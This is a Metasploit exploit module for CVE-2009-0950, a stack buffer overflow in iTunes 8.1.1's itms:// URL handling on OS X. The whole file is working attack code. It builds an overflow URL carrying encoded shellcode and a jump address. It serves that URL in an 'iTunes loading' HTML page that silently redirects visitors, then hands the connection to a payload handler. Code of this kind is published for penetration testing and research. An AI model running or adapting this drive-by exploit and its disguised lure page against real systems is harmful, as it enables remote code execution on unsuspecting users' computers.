itms_overflow.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  # no popup required to visit itms:// URLs in Safari, so throw it in BAP
  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({
  #  :ua_name    => HttpClients::SAFARI,
  #  :ua_maxver  => "4.1",
  #  :ua_minver  => "4.0.5",
  #  :javascript => false,
  #  :rank       => NormalRanking,
  #  :os_name => OperatingSystems::MAC_OSX
  # })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',
        'Description' => %q{
          This modules exploits a stack-based buffer overflow in iTunes
          itms:// URL parsing.  It is accessible from the browser and
          in Safari, itms urls will be opened in iTunes automatically.
          Because iTunes is multithreaded, only vfork-based payloads should
          be used.
        },
        'Author' => [ 'Will Drewry <redpig[at]dataspill.org>' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-0950' ],
          [ 'OSVDB', '54833' ],
          [ 'URL', 'http://support.apple.com/kb/HT3592' ],
          [ 'URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html' ]
        ],
        'Payload' => {
          'Space' => 1024, # rough estimate of what browsers will pass.
          'DisableNops' => true, # don't pad out the space.
          'BadChars' => '',
          # The encoder must be URL-safe otherwise it will be automatically
          # URL encoded.
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
                        {
                          'BufferRegister' => 'ECX', # See the comments below
                          'BufferOffset' => 3 # See the comments below
                        }
        },
        'Targets' => [
          [
            'OS X',
            {
              'Platform' => [ 'osx' ],
              'Arch' => ARCH_X86,
              'Addr' => 'ATe'
            },
          ]
        ],
        'DisclosureDate' => '2009-06-01',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  # Generate distribution script, which calls our payload using JavaScript.
  def generate_itms_page(p)
    # Set the base itms url.
    # itms:// or itmss:// can be used.  The trailing colon is used
    # to start the attack.  All data after the colon is copied to the
    # stack buffer.
    itms_base_url = 'itms://:'
    itms_base_url << rand_text_alpha(268)  # Fill up the real buffer
    itms_base_url << rand_text_alpha(16)   # $ebx, $esi, $edi, $ebp
    itms_base_url << target['Addr'] # hullo there, jmp *%ecx!
    # The first '/' in the buffer will terminate the copy to the stack buffer.
    # In addition, $ecx will be left pointing to the last 6 bytes of the heap
    # buffer containing the full URL.  However, if a colon and a ? occur after
    # the value in ecx will point to that point in the heap buffer.  In our
    # case, it will point to the beginning.  The ! is there to make the
    # alphanumeric shellcode execute easily.  (This is why we need an offset
    # of 3 in the payload).
    itms_base_url << '/:!?' # Truncate the stack buffer overflow and prep for payload
    itms_base_url << p # Wooooooo! Payload time.
    # We drop on a few extra bytes as the last few bytes can sometimes be
    # corrupted.
    itms_base_url << rand_text_alpha(4)

    # Use the pattern creator to simplify exploit creation :)
    # itms_base_url << Rex::Text.pattern_create(1024,
    #                                           Rex::Text::DefaultPatternSets)

    # Return back an example URL.  Using an iframe doesn't work with all
    # browsers, but that's easy enough to fix if you need to.
    return String(<<~EOS)
      <html>
      <head>
      <title>iTunes loading . . .</title>
      <meta http-equiv="refresh" content="0; url='#{itms_base_url}'">
      </head>
      <body>
      <p>iTunes should open automatically, but if it doesn't, click to
      <a href="#{itms_base_url}">continue</a>.</p>
      </body>
      </html>
    EOS
  end

  def on_request_uri(cli, _request)
    print_status('Generating payload...')
    return unless (regenerate_payload(cli))

    # print_status("=> #{payload.encoded}")
    print_status("=> #{payload.encoded.length} bytes")

    print_status('Generating HTML container...')
    page = generate_itms_page(payload.encoded)
    # print_status("=> #{page}")
    print_status('Sending itms page')

    header = { 'Content-Type' => 'text/html' }
    send_response_html(cli, page, header)
    handler(cli)
  end
end